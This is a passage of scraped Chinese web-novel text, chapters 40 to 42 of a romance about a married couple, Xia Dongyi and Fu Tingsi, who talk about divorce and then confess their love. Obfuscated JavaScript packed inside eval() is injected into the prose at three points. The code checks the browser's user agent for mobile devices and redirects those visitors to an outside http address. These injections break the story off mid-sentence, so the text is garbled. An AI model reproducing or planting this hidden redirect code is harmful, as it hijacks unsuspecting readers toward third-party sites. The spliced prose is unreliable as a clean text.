;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823068|149142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住,你什么意思?” 傅亭斯停下,路灯照在他脸上,五官轮廓被描摹的更加深邃,他低垂着眼帘,睫毛像一把扇子,刷下来,目光落在夏冬意身上,嗓音轻淡:“就是你听到的意思。” 夏冬意再度一怔。 不理解地仰头望着他,半秒,她舔了舔唇。有些干涩地问道:“那离婚以后,我们……还会保持和以前一样吗?” 傅亭斯转身的背影略微僵了僵,随后一言不发走到车边,拉了拉门。车门锁着,拉不开,他回过头,没有什么笑意的,对走近的夏冬意笑了笑。 “想什么呢,婚都离了,你说呢?” 风很大,温暖的春风里弥漫着一股芳香,树叶被吹动着,哗啦哗啦声响,不远处的医院大楼里如同白日般喧嚣不止,衬得这里越发的静谧,灯光打在他们身上,加深了傅亭斯嘴角的那抹凉薄笑意。 夏冬意有一种说不上来的失落,从这醉人的春风里越来越深的透出来。 很奇怪,她以前从不会有这样的感觉。可这个当下,夏冬意多么希望傅亭斯是同她在开玩笑,他以前也经常这样同她玩笑。 “你说真的吗?”就在她仰起头,努力在这并不分明的夜色里辨别他脸上的神色时,傅亭斯却撇开了脸,转头继续去拉门:“车锁开一下。”他很淡的说道。 她也只能依照他的话,从包里取出钥匙,解开车锁。 回去依旧是夏冬意开的车,她想先把傅亭斯送回去,然后再回自己家里。但是又一下想到傅小狗还没遛过,都这么晚了,小东西肯定等的狠心急了,不知道下午的时候,阿姨有没有帮忙遛过。 想到这里,也就随口问道:“你下午有没有让阿姨遛过狗啊。” 傅亭斯悠闲地靠着椅背,一双长腿半屈着,单手枕着脑袋后面,一副事不关己高高挂起的口吻:“你的狗你自己怎么不问她?” 夏冬意一脸的问号,差点没踩刹车,提高了嗓音:“我的狗?我发现你这人,翻脸不认账是真的有一套,狗说的这是我们一起养的。” 傅亭斯倒也一点都不恼怒,继续悠悠闲闲的说道:“咱们如果离婚的话,狗我就不跟你抢了,我知道你喜欢它,而且留在我这里,我也不一定有时间照顾好它。” 说完,他还笑着朝她看了眼,像是在说,瞧,我多贴心,这都为你考虑好了。 夏冬意有些心不在焉。可以这么说,从刚刚上车的时候,她就有点恍惚,尤其是听到傅亭斯说,离婚以后他们的关系不会再保持原样。 虽然他没明说,夏冬意不可能听不出来他的意思。 所以刚刚电话里那个女生说的是真的吗? 他真的有女朋友了吗? 还是啥,他想通了,和她离婚也没有什么损失? 这不是她期待和希望的结果吗?夏冬意,你怎么还是不开心呢?夏冬意,你振作一点,开心起来,你应该欢呼雀跃,终于又可以回到自由身了,不必要再被这一纸婚约束缚住,你应该开心的不是吗?就算和傅亭斯以后做不了朋友,也没有什么问题啊,本来么,相距和分离,都是人生常态么。 没什么大不了的。 夏冬意轻轻吸了吸鼻子,故作平静地说道:“你能这么想真是太好了,傅小狗我肯定是要带走的,而且分开以后,我还准备给他换个新名字。” 旁边没有声音,似乎连呼吸也是静的。死一样的沉寂。 半晌,黑暗里传来一声轻轻的冷哼,接着,一个不屑的,低哑的嗓音。 “随你便,你想怎么换就怎么换,我不感兴趣。” 40. 小狗不听话 “你简直可笑,”夏冬意冷笑道:“谁问你意见啊,少自作多情了好吗?” 傅亭斯再次轻哼:“你最好憋在肚子里别讲出来。” “嘴巴长在我身上,我想说就说。” 傅亭斯没再接话了,显然是不想跟她继续掰扯下去。 夏冬意越想越不爽,憋着股气,心里很不痛快。 车子经过市中心一条繁忙的商业街上,傅亭斯让夏冬意停下车。 “干嘛?”夏冬意老大不愿意地问,这边车流量多,车位不好找不说,还容易被拍到。 “你到前面路口等我,”傅亭斯一边解安全带,一边看了看周边来往车辆,“我下去买份饺子。” 夏冬意正准备把他放了,闻言,不由问道:“你晚饭没吃饱?” 傅亭斯没理会,开门下车。 夏冬意急忙降下窗户,顾不得会不会被拍到,扯着嗓子喊出去:“等下,帮我也打包一份!喂,别装作听不见,要是不给我带,你就完了傅亭斯——” 回以的是他那被路灯拉长的,略显冷酷的背影。 嘁,这条狗。 夏冬意重新坐正身,在附近车位停靠,然后坐在车里一边玩手机一边等傅亭斯给她带夜宵。 十多分钟以后,傅亭斯拎着东西朝车这边走过来。他穿着件白色短T,微低着头,灯光下头发松松软软的,皮肤白净,很有点青春男大的感觉。夏冬意一边在心底惊讶,他是怎么找到她车的位置的,一边又忍不住多扫了他两眼。微风轻轻吹拂,衣服贴着前胸,隐隐约约露出来胸肌的轮廓,不得不说,这条狗确实是有点姿色在身上的。 正想着的时候,傅亭斯开门进来了。夏冬意凑头上去,舔着嘴巴,傅亭斯放下袋子系安全带,视线掠过她鬼鬼祟祟的模样,两厢目光一撞,夏冬意身形僵了僵,连忙给自己找场子,轻咳一声,装作平淡的样子,目光指了指他那袋子:“你这饺子什么馅的?” 傅亭斯注意到,她说话的时候还在咽口水,不由凉笑了声:“跟你有什么关系吗?” “……” 夏冬意眼睛眨巴了下,脑袋转得飞快说道:“你这有两盒。” “都我吃,有问题么?” 又是一个反问句,给夏冬意直接整不会了。 她继续舔舔嘴唇,没有了开车的想法,眼巴巴盯着那盒饺子。本来她是不饿的,但晚饭确实吃的少,就那点点的面,顶多塞个牙缝,现在这饺子的香味弥漫出来,遍布整个车厢,光闻那味已经把夏冬意馋的直流口水了。 两盒饺子傅亭斯对付起来绰绰有余,很明显这条狗并没打算给她剩一口,既然这样,夏冬意板起脸来,斜睨着躺在椅子上的男人:“我是不是欠你的,给你当了一晚上的车夫,让你给我买个宵夜怎么了,这不是名正言顺的吗?” 傅亭斯迎着她的目光,漆黑深邃的视线,淡淡的讽意,轻声问她:“以什么身份?车夫那确实有必要。” 夏冬意一下子被堵住了。好像一把刀子,钻进她心口,酸汪汪的,哪里痛他就扎哪里。夏冬意被这话激得浑身无力,这饺子就算现在让她吃下去,她也吃不下了。 以前总说傅亭斯嘴毒,看来他以前都算对她口下留情,不足他真正实力的十分之一。 夏冬意冷了脸,转过头发动车子,开出好几米远,心里的那口气,夹杂着浓重的委屈,让她透不过气来,索性将一侧的窗户降下,让春天夜晚的风灌进来,城市夜晚的空气,满是充满汽车尾气的尘烟,并不好闻,于是又把窗户关上。 好长时间两人都没说话,这是夏冬意第一次和傅亭斯单独在一起,感觉这样的难以适从,她打开音乐,是滨崎步的《dearest》。很多年前有一部很火的动漫,叫《犬夜叉》,这首歌是它的片尾曲。 她和傅亭斯都很喜欢。 前奏一响起来,记忆一下子拉回到了从前。 夏冬意的娱乐爱好几乎都是被傅亭斯带出来的,运动方面,桌球排球,远足登山,滑冰跳伞,听说傅亭斯在国外的时候考出了潜水证,她也想抽空去学一下潜泳,不过上了班之后一直没有时间去。 文娱方面,她爱看动漫,看武侠小说,喜欢快意恩仇,潇洒自由,读书那会儿还经常和傅亭斯交换书单,拿给他的列表,再等收回来的时候,一些书名或者动漫名称后面,会被他标注几句简短的评语。后来,夏冬意也会学着他的样子,在他给自己的清单上写一些读后感或者观后感,作为反馈,后来又延伸到了音乐和歌曲的共享。 这样的交流似乎成为了他们的日常,也成为了不可缺少的回忆故事。 其实和傅亭斯能回忆的故事还有很多很多,初二那年,他突然发奋图强起来,夏冬意每个大周放假都会去他家里帮忙补习功课,当然也不是免费的,以每个小时五十块的酬劳,完成补习之后,两人就窝在他房间里看动漫,要么就是东一个西一个的倒在他的床上看书聊天,那样的时光很缓慢,也很宁静。 夏冬意恍然发现,和傅亭斯似乎已经很难回到过去那种纯粹的状态了。她发现自己越来越不了解他,也越来越不了解自己。 其实如果能回到以前的状态,和傅亭斯结婚,也未必不好。至少她并没有太讨厌他,现在这个社会,能碰到一个不反感的人,都是很难的了。 歌声里,夏冬意不由自主说道:“有时候我也不知道我到底想要什么,我觉得我的感情生活不应该是这样的。” 她声音很轻,带着无尽的低落,趁着打方向盘的时候,侧过头看向傅亭斯。 他仍旧维持着单手枕头的动作,斜睨了眼她,待夏冬意回头继续看向路前方的时候,不冷不淡的问道:“你想要什么样的感情生活?” 真是一个好问题。 夏冬意自嘲一笑,攥紧了方向盘:“想要刻骨铭心的,有一个人为了我要死要活的,会让我觉得,自己鲜活地活过,哪怕结局并不美好,也不悔爱过。是我少女时期就经常做的梦,只不过书里的故事永远都是别人的故事,快到三十岁了都没遇到过这样一个人,这样的故事恐怕注定与我无关。” 歌还在唱着,傅亭斯侧过身,侧躺着,手压在耳后,认真安静地注视着她。 夏冬意顾自说着:“不过,还有个办法。” 她侧过头去,对上他的视线,慢慢说道:“刚刚我想了想,如果我要如愿只能选择离婚,因为万一如果我遇到了我的真命天子,再和你离婚的话,不就变成了我有外遇了,我不背这个锅。” “真命天子?”傅亭斯一字一顿地问道。 “你怎么这么肯定你的真命天子另有其人?你知道有大部分人一辈子都是遇不到他们想象中的爱情故事的。” 夏冬意没管他语气里淡淡的讽刺意味,接着自己的思路说道:“我以前看过一个故事,和你分享过的,不过你肯定忘掉了,特别符合我这个情况。” “什么故事?” “就是讲一个女人也是按部就班,在到了结婚的年龄找了一个她不爱的男人结婚,后来在婚姻中遇到了让她心动的人,然后离婚的故事。有些人他们就是会遇到的比较晚,如果早早步入婚姻的话,等到那个人真的出现,那你是选择婚姻还是选择爱人呢,这是一个问题,所以我非常能理解和同情安娜卡列尼娜,虽然说她那个情人也是一个渣滓,但是她至少是反抗过了,结局怎么样是无所谓的。” 傅亭斯平躺回去,伸了个懒腰,打着哈欠说:“脑子就是这么给看坏的。” 夏冬意砸砸嘴,不服气道:“你自己也没少看,以前还跟我一起看少女漫的人,还说我脑子被看坏了,你自己能好到哪里去。” 傅亭斯没接话了,像是被噎得无话可说的样子。过好几秒才出声道:“绕道去一下公司,我要回去拿点东西。” “不早说,我都要上高架了。”虽然这么抱怨着,夏冬意还是调整了路线。 傅氏产业全国各地开花,光江市就遍布大小不一的子公司,不过他们集团这里,夏冬意还是第一次过来,从南门进来,经过岗亭,穿过大片绿荫,车在大楼外停下,傅亭斯解开安全带下车,让她在车里等,他很快就回。 不一会儿人就上了台阶,消失在了灯火阑珊处。 夏冬意玩了会儿手机,抬头朝窗外看去,夜已经深了,四周围静悄悄的,风把树叶吹得沙沙作响,一种深入骨髓的孤寂感,从夜的深处渗透进四肢百骸。 夏冬意放下手机,拔下车钥匙,下了车,打算在这附近逛一逛。 这还是她第一次来这里,听说他们集团这边的社区条件非常好,绿化面积非常大,达到了生态环境的程度,在这边搞个野炊和春游都是极舒适的。 月光很亮,踩着脚下的落叶发出轻微的响声,有点白噪音的感觉,夏冬意没带手机,不敢走的太远,就在边上逛了逛。往回走的时候,看到一个身材颀长的人影从台阶上走下来。 光影勾勒着轮廓线条,虽然看不清模样,光看身形也知道绝对是个帅哥,夏冬意怔了怔,忽然明白了网上的那句话“帅只是一种感觉”,说的大概就是眼前这个情景。 夏冬意心跳没来由地加快。 直到那人走到近处,遮住了头顶的那片灯光,夏冬意看清楚那是傅亭斯之后,她终于平静了下来。 “哦,是你啊。”她说道。 傅亭斯手里拎着一个袋子,垂眸扫了眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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话音还没落下,夏冬意眼前的光线被一道覆盖的影子压了下来,她的心跳突然骤然加剧起来,如同夏日的暴雨,噼噼啪啪,砰砰隆隆……连同着呼吸也缓慢了下来,夏冬意下意识撅起嘴,闭上了眼。 睫毛如筛子般,在嫩薄的皮肤上抖个不停,黑的,白的,形成极致的色彩反差,两瓣嘴唇更是僵得硬邦邦。看她这紧张的样子,把傅亭斯逗得哭笑不得。 他松开了她的嘴唇,夏冬意以为结束了,有些意犹未尽,睁开一双雾潮潮的眼睛仰头望着他,像个要糖吃的小孩。 看着她这副模样,抓心挠肺的痒,傅亭斯感到喉咙干涩,滚动着喉结。 他忍着难耐,目光深了几许, “教你几个接吻的技巧,记好了。”他声音很哑。 夏冬意感觉脸颊很热,耳边只听得到自己的心跳声。 扑通扑通的。 傅亭斯变得和以往不太一样了,目光深邃幽暗,将她致命地锁死在里面, 让她心里莫名产生恐惧和不安,想跑掉。 但是,他根本不给她这个机会。 大手伸过来,压住她的后颈。 夏冬意嗫嚅一声,被迫仰起头,承接住他炙热的深吻。她听到自己破碎不成调的声音问他。 “为什么要这么亲我?” “因为喜欢你。” “很喜欢,很喜欢你。比世界上任何一个人都要喜欢你。” ——因为喜欢你。 ——比世界上任何一个人都要喜欢你。 这是《瞳孔的暗杀者》里,新一对小兰的告白。 夏冬意曾经对傅亭斯说过,这是她认为的,新一那么多场告白中,最浪漫的一场。 她的嘴唇蠕动着,颤抖着。 “可是我不会接吻。” “没关系,我会教你,”傅亭斯温柔的,耐心的说道,“你就把我的舌头当成是棉花糖一样,轻轻地吸.咬就行了。” 说着,傅亭斯亲自给她做了示范。弄得夏冬意又痒又燥,面红耳赤。 月光下,傅亭斯捧起她的脸,目光认真专注。 “今晚你说的话,你想要的故事,我都记在心里了,就算你很讨厌我,我还是想说,我比世界上任何一个人都喜欢你,只喜欢你。” “如果这样还不够,能不能再多给我一年的时间,我会努力让你爱上我。” “夏冬意,我诚挚的,热烈的,卑微地邀请你,要不要和我试试?” “也许可能,你不用特意寻找,我会成为你的那个人。” 傅亭斯像小狗一样,把头抵在她的肩窝里,抱着她,轻轻的,低声的,似乎是在恳求。 “所以,请不要再讨厌我了。就算做你的狗,我也认了。” 41. 小狗不听话 夏冬意陷入短暂的真空状态。舌口干燥,四肢发软,心口像是漏了一个洞,风呼呼地倒灌进去。 她已经习惯了他平时那种似真似假的调侃,半真半假的态度,就连笑着的时候都是懒懒散散似是而非的样子。 而现在,这样的傅亭斯,夏冬意感到陌生,也难以是从。 她艰难地消化着他的话,怔怔的,恍然的,如梦似雾地站在虚幻里,心跳起伏,不知所措。 这样的气氛压迫着她,空气似乎变得稀薄,心里淌过一丝没来由的,忽略不得的,熟人之间才会生出尴尬和囧迫,隐隐约约的,伴随其中的,还有一种隐秘的,不被人察觉的情愫在流动,混沌的大脑此刻无法清晰判别,只将此归类为不该产生的信号,努力压住才没有致使继续扩大和蔓延。 短短几秒时间,漫长如同一个世纪那般煎熬,傅亭斯鼻息与她相抵,呼吸继急促,身体紧绷着,似乎正在焦急地等待着她的答复。 凝固的气氛让夏冬意很不适应,也很不喜欢,本能的想要逃避,况且她现在心里还有很多疑问,脑袋里乱七八糟地各种念头闪过。好半天她才出声,沙哑的程度连她自己都给吓了跳:“我应该相信你的话吗?” 她的回复是让傅亭斯没想到的,沉默了几秒,他忽然轻笑了声:“我确实该反思一下。” 这次轮到夏冬意不解了:“反思什么?” “是什么让你你对我的信任度变得这么低了。” 夏冬意有些讶异:“这不像是你会说的话。不过,”她拉长着调调,“这确实值得你好好反思一下。” 气氛似乎又转瞬变了回去,没有之前那么暧昧了,夏冬意心里轻松了不少,语气也活泼起来,也终于敢抬头去迎他的目光,暗淡的光线下,傅亭斯眼神明亮,宛如星河撞落深渊,嘴角微微勾着,笑容明媚温暖,和这暖融的春天很相配。 他翘着嘴角,低头自然地牵起夏冬意的手往回走。 夏冬意没有挣脱,走了一会儿才问道:“你是不是应该和我解释一下,今天下午接电话那女的,你和她是什么关系,为什么我打电话过去她说你在洗澡?” 傅亭斯微微一怔,侧头看她:“什么时候?” 夏冬意停了脚步,半仰起头回忆道:“就吃过饭那会儿,不到一点的样子。” 傅亭斯也站住了,眉心微微蹙着,他皱眉的时候会有一道皱褶非常深的川字,连接着高挺的山根,显得异常严肃。 夏冬意也不说话了,等他的答复。 傅亭斯回想起来下午一点钟之前发生的事,眉心更紧了,夏冬意觉得好玩,忍不住逗他:“该不会真的发生了什么不可告人的故事吧?” 话音刚落,夏冬意轻嘶了声,手被傅亭斯用力一攥,他的手背青筋绷起,低眸严肃地望着她,过了好几秒,眼里才恢复清明。 “中午车被刮了,对方是我高中同学,”他解释道,“她没带手机,借了我的,这一整天,我的手机就这一回不在我手上,估计那会儿正好碰到你打过来。” 傅亭斯恍然明白过来什么,似笑非笑看着夏冬意。 夏冬意被他看的发毛,心想明明是我质问你,怎么你还反客为主上了,用这种眼神看着我,几个意思? 正要说话,傅亭斯嘴角的微弧被光线勾勒的愈发柔和,沉静中带着戏谑的表情:“你该不会吃醋了吧?” 所以那个时候才会给他发那样一段信息。 夏冬意脸颊蹭的就染红了,像是在油锅里煎一样唐人,好在这儿光线微弱,不仔细看看不清,她急躁起来,用微凉的手背贴了贴面颊,为自己辩驳道:“切,谁不知道你桃花旺,我要是吃醋,天天吃醋都吃饱了,我干嘛给自己找这种不痛快。而且说真的,我都从来没觉得你长得帅,不要这么不要脸行不行?” 傅亭斯压下嘴角的弯弧,低头轻笑了声,长睫毛在雪白的皮肤上投下一个半月型阴影:“是吗?你没有因为吃醋不开心,发短信骂我吗?” ??? 夏冬意眼睛都瞪圆了,一时好气又好笑,控制不住地噗的一声笑出来:“你不是吧,为了让我承认吃你的醋,也不用这么昧着良心说吧。” 傅亭斯见她不肯承认,一边从口袋里掏出手机,一边说道:“要不要跟我赌?” 夏冬意被他突然认真起来的模样弄得啼笑皆非:“你在搞笑吧,这种事有什么好赌的,真的假不了,假的真不了。” 傅亭斯没说多余的话,而是把手机拿给她看。 屏幕上显示的微信聊天页面,最后两条是,傅亭斯问她要不要跟他一块去海洲岛,她回复他的却是最讨厌他的话。 手机的光线打在夏冬意的脸上,傅亭斯饶有兴味地欣赏着她变幻莫测的神色。 “不可能,这不是我发的。”夏冬意斩钉截铁说着,把点开微信头像,确实是她的微信,她纳闷地看了眼福亭斯,想起什么,退回去扫了眼时间,更加觉得不可能:“我那会儿手机都丢了,怎么给你发信息。” “你手机丢了?”傅亭斯看着她问。 以为他不相信,夏冬意掏出新手机给他看:“我新买的,中午吃过饭去学长的咖啡店小坐了一下,手机就在那里丢了。” “查监控了没?” 夏冬意摇头:“学长说监控坏了。” “也没报警?” “报了警也未必能找到,况且那会儿他那里生意好,影响他生意嘛。” 傅亭斯注视着她片刻,把夏冬意看的毛毛的,直觉他这眼光别具深意,正要说话,看到傅亭斯低头扯了下唇角,夏冬意下意识说道:“你笑什么?” 傅亭斯摇摇头:“没什么,走吧。” 说着,揽着她肩膀往前走,夏冬意狐疑扫眼他,觉得傅亭斯好奇怪,可又说不上来哪奇怪。 上了车,两人都低头系着安全带,夏冬意听到旁边低低的说了句什么,嗓音模糊,听不清,转过脸去,问他道:“什么?” 傅亭斯仰身躺进椅背,望着夏冬意,黢黑的眼底倒映着窗外三两点光线,似笑又非笑的模样,过了片刻才出声:“这三天两头往他那跑,真放心我啊?” 闻言,夏冬意扭动钥匙启动车子的动作一滞,扭头去看他,直觉这语气有几分古怪,不像傅亭斯的作风,她秀眉轻一蹙,想也没想地问:“放心你啥啊?” 傅亭斯手勾过来,伸到腰后与座位的空隙处,指尖轻挑地捏了捏那里,语气散漫:“我可是会吃醋的。” “吃醋?”夏冬意用手指点了点自己的鼻子,像是听到了什么好笑的冷笑话那样,古怪地看了眼他,而后回过头启动了车子,声音隐在引擎声中透着点儿缥缈的打趣味:“我都没让你收敛一点,你倒先兴师问罪起来了。” “兴师问罪这个词用的不好,我不喜欢。”傅亭斯动作变得肆无忌惮起来,手指在她腰上游移,揉着她腰侧的部位,那里正是夏冬意的痒痒肉。 夏冬意恶狠狠横扫过去:“你手在干什么,给我老实点,小心一失两命。” “一尸两命是这么用的吗?”傅亭斯语气依旧懒洋洋的,手却是收了回去。毕竟他也不敢拿自己的小命开玩笑,更何况,夏冬意的车技也是令他担忧的主要原因之一。 车厢里重新恢复了静谧,夏冬意一边开着车,一边品着他的话,越想越觉得不公平。 想了一会儿,她郑重地叫了一声:“傅亭斯?” 昏暗里响起他模糊不清的低沉嗓音。 “嗯?” 夏冬意双手握着方向盘,有些不自在,为她接下去要说的话,但眼下她脑子里乱糟糟的,也想不到怎么去修饰语言,索性直接问了:“你不想和我离婚,是因为喜欢我,不是别的原因?” “还有别的什么原因?”轻飘飘的语气,明显不是反问,但夏冬意听岔了,以为傅亭斯在问她。 握着方向盘的手心有些出汗,夏冬意放松了一下手指,抽了张纸巾擦了擦,借这个动作来掩盖内心莫名涌起的心悸,她故意语调轻松的道:不是说,离过婚的男人没人要吗?” 傅亭斯怎么也想不到会得到这么一个离谱的答案,一下子气笑了出来。 气息短促的这么一声冷笑,更加让夏冬意确定,他输不起。于是她觉得有必要安慰他一番,浅浅斟酌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14873461|149142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下,用一种善解人意的语气,宽慰道:“你也用不着沮丧的,其实像你这种,有点小钱,姿色呢也勉强算有一点的,就算是离过婚了的,在外面依然是香饽饽,男人三十一枝花,放心吧,老夫掐指一算,你的桃花会更旺的。” 傅亭斯大概是无语住了,好半秒没有说出一个字来,再开口的时候,他已经调整好了自己的心情,凉凉道:“既然你这么会算,就没有算出来我为什么要和你结婚?” 说这话的时候,傅亭斯还在想,这个小傻子没准真会来一句:你为什么和我结婚? 话音刚落。 果然,夏冬意就问了这句话。 “你为什么和我结婚啊傅亭斯?” 夏冬意是真的不明白,这个问题她确实也很疑惑,既然他自己提到了,那她还不得抓住机会好好问问吗? 却看见傅亭斯仰头长声吐出一口气来,然后双手捂脸上下揉了一把,像是无语又无奈到了极点,又无计可施的模样。 然后,他笑了出来,看着她说道:“为什么?” “你好好想想。” 夏冬意仔细思考了片刻,侧过头,有些不确定的,小心翼翼问道:“是因为喜欢我?” “我真的没感觉到你喜欢我啊。” “哪有人是这么喜欢人的啊。” “你到底喜欢我什么啊?” 夏冬意的喋喋不休,念念叨叨着,冷不丁地被傅亭斯的声音打断。 嗓音轻淡,却有别样的温柔,似有若无地撩拨在耳边:“喜欢哪有那么多理由。” 夏冬意心重重地一跳,脸上莫名其妙的发烫,嘴上却不服输,小声嘀咕了一句:“我没感觉到就不算数。” “那从今天开始……”他的手伸过来,示意和她牵手,夏冬意刚要把手搭过去,手机响了,听铃声是夏冬意的手机,傅亭斯的话音也恰好地停落。 “可能是我妈的电话,你帮我拿下手机,在包里。” 傅亭斯朝四周扫了一圈,辨别出声音是从后面传来的,坐起身,身体向后,长手一捞,抓过包,掏出了手机,划开按键接听。 夏冬意余光扫到他的动作,“嗯?”了一声,心说你怎么接上了,就听傅亭斯对那头喊了一声“妈”,夏冬意正还疑惑着,怎么他妈妈怎么给她打来电话了,接着就听到电话那头江笑妍的声音透过安静的车厢传来。 领证到现在,她和傅亭斯都还是沿用长久以来的习惯,对双方父母都没有改口,他突然水灵灵的这么一句“妈”,直接给夏冬意整不会了。从那头母亲停顿的反应来看,很显然,也是被小小的震惊了一下。 傅亭斯语气一贯如常:“咚咚开车呢……嗯……我没事儿,好我们会注意安全……她今晚不回去,您别等了……” 听到这里,夏冬意侧过头去看他,满眼迷惑。 不是,这哥怎么又自说自话?要不是在开车,她都想去抢手机了。 她这一恍神,没来得及听到母亲那头说了句什么,感觉傅亭斯这边气压明显下降了不少,嗓音微沉的嗯了声:“明天我看看有没有时间,到时再联系您。” 等他挂了电话,这会儿也快到家门口了,夏冬意将车滑进地下车库后,侧头看他:“谁告诉你我今天不回去的?” 傅亭斯将她的手机扔进包里,扣上包扣放去旁边,重新躺回身去,嗓音带着点儿慵懒,有一丝丝的性感透出来:“唔,我说的。” 他说这话的时候,眼睛看着夏冬意,嘴角勾着淡淡温柔的浅笑,靠近驾驶位的那只手伸过去,揉了揉夏冬意的后腰:“你妈说明天要找我好好谈谈,可算是给我出了个难题啊。” 夏冬意扭了扭身体,试图甩开他那不安分的手。那块儿是她的痒痒肉,他这么捣乱,到时候真搞不好一失两命,虽然这会儿深夜没什么车进出,一边漫不经心地调侃:“这天下还有能把你傅少爷都搞不定的难题?” “嗯,”傅亭斯手没松,他单手枕着后脑勺,静静地看着面前这女孩的侧脸,眼里染着深夜里盈盈的灯光,低沉的嗓音仿佛浸泡在时光的剪影里一般:“这道题目解了,少说也有二十年了。” 42. 小狗不听话 傅亭斯的话带给夏冬意一种恍惚感。时光在眼前破开一道口子,撒落下无数道璀璨星光。 声控门徐徐打开,夏冬意动作机械,驶入车库。控制不住,从脑海里跳出来一幕一幕的画面,像海水一样将她沉溺其中。 夏冬意发现,这么多年来,自己从未有真正的,认真审视过傅亭斯对她的感情,亦或者,她对傅亭斯的感情。 直到今晚,从他口里确认他们有可能会分开,真正意义上的那种分开,夏冬意才开始恐慌起来。因为她以为他们永远不会分开,她曾天真的以为,即使他们往后有了自己各自的生活,他们之间的感情都不会受到分毫影响。 然而现实总是残忍的,没有永恒不变的事情,即使好到她和傅亭斯这么好的地步,一切如昨,只能存在幻想之中。 她总是说感受不到傅亭斯对她的好,但不可否认的事是,他的好已经润物细无声般浸润进了她日常的每个缝隙之中,让她认为那是寻常到不能寻常的事,所以也不曾感受得到。 只有摊开来细究一番,才能感受到那些藏在行动背后,他那不曾表达的感情。 自十岁以后,有关夏冬意的所有活动,傅亭斯都不曾缺席过,无论是她每年的生日会,还是学校的大小节目,再忙傅亭斯都会抽出时间参加。 每年她生日,傅亭斯都会蹲守到凌晨十二点,就为了在空间里给她发一条生日祝福,后来高中,夏冬意开始玩微博之后,傅亭斯也注册了一个号,从此以后每年的生日祝福都会在微博上圈她。 在傅亭斯出国的那几年,两人的互动和交集大幅度减少,生活圈也慢慢比以往疏远了很多,是在毕业以后又过了几年,有一次夏冬意无意间打开了在大学时期就停用了的,人生中第一个注册的微博号,看到收信箱里有好几条@她的信息,全都来自傅亭斯。 才发现,原来他在她大学期间,一直到参加工作以来的这些年,每一年都如同过去的每一年一样,祝她:夏咚咚,生日快乐。 却没有收到过任何一条,来自她的回复。 傅亭斯却还是一直坚持着。夏冬意呆呆盯着手机屏幕坐了许久,内心深处产生一种异样的涌动,夏冬意愧于承认,那是来自于有别于友情之外的,别样的悸动。 而这其中,更多的还有潜藏在深处的,连她自己也没有发现的赌气,来自于他没有如期赴约的大学毕业典礼,和他这些年有意的疏远。 夏冬意也说不清楚,为什么他的次次守时,都抵消不了那一次的失约,以至于这么些年始终心心念念,耿耿于怀,也许她真的被傅亭斯惯坏了。 于是那天,在诸多复杂的心情推动下,夏冬意在傅亭斯最后一条生日祝福,也就是在她去年生日当天发的那条祝福信息下面回复他说:谢谢啦,不过我已经换号很久了,就停在这里吧。 那年生日,她心血来潮登录那个账号,发现傅亭斯没有再发只字片语,上一条生日祝福状态,她的回复下面没有任何他的回应。 两人疏远的那几年也曾让夏冬意从内心深处感到害怕,她不敢承认对傅亭斯的依赖已经深厚到不能分割,害怕自己是那个被抛掉的,不愿意承认他对她的影响已经渗透到了她生活的角角落落里,不承认他对她的那些好,可她又希望即便将他用力推开去,他依旧还是会像从前那样,永远热烈鲜活地,永远不计前嫌地,重新回到她的世界。 夏冬意自己也知道,她是如此的矛盾,如此的不讲道理,她对待傅亭斯的态度,好像他不是一个人,而是一只呼之即来挥之即去的狗。 就像那首歌里唱的一样,被偏爱的有恃无恐。 可当他真的决定离开的时候,她也会怕。 是在某天晚上突然午夜梦回,朦朦胧胧之中,脑海里突然冒出来一句话:长期坚持某一件事,是很不容易的。 然后,她想到了傅亭斯。 过去那些,和他一起走过的来时路,从未如此清晰地浮现在眼前。 十岁,因为她说长大以后想做一个画家,开自己的画廊,他拿出了自己攒下的压岁钱,送给她一套价值上千的彩绘颜料。 之后一个星期,把颜料带去学校,被几个男同学弄坏了,对方虽然道了歉,但因为家里经济有限,只赔偿了一半,而且国内也买不到一模一样的,为此夏冬意哭了好几天。后来,傅亭斯请爸爸帮忙,托人从国外带了一款升级版的送给她,而过程多波折,费用多高,他更是只字不提。 十四岁,征得父母的同意后,瞒着她偷偷买了她最喜欢的歌手演唱会门票,陪她去看了人生中第一场演唱会。同年生日,傅亭斯送了她一套非常喜欢的,几家动画制作公司联名的周边限定款公主裙。她从来没有问过他是怎么弄到名额的,他也没有提起过。这年暑假,他们一起在他爷爷奶奶家里度过,虽然摩擦不断,但总体来说还是很愉快的一个假期。 第二年,十五岁的暑假和寒假,他们一起去了周边的城市旅游,这是他们第一次一起旅游,傅亭斯还租了一辆自行车,只因为夏冬意说想晚上沿着湖边骑行。虽然后来大多数时候都是他在骑,她坐在后面悠闲自得晃着双腿吃东西,在上坡的时候装腔作势喊两声加油,就是她最大的出力了。 从十五岁开始,每年寒暑假他们都会抽出充足的时,规划他们自己的私人旅行计划。慢慢的那些年,把祖国大好河山都游历了大半。 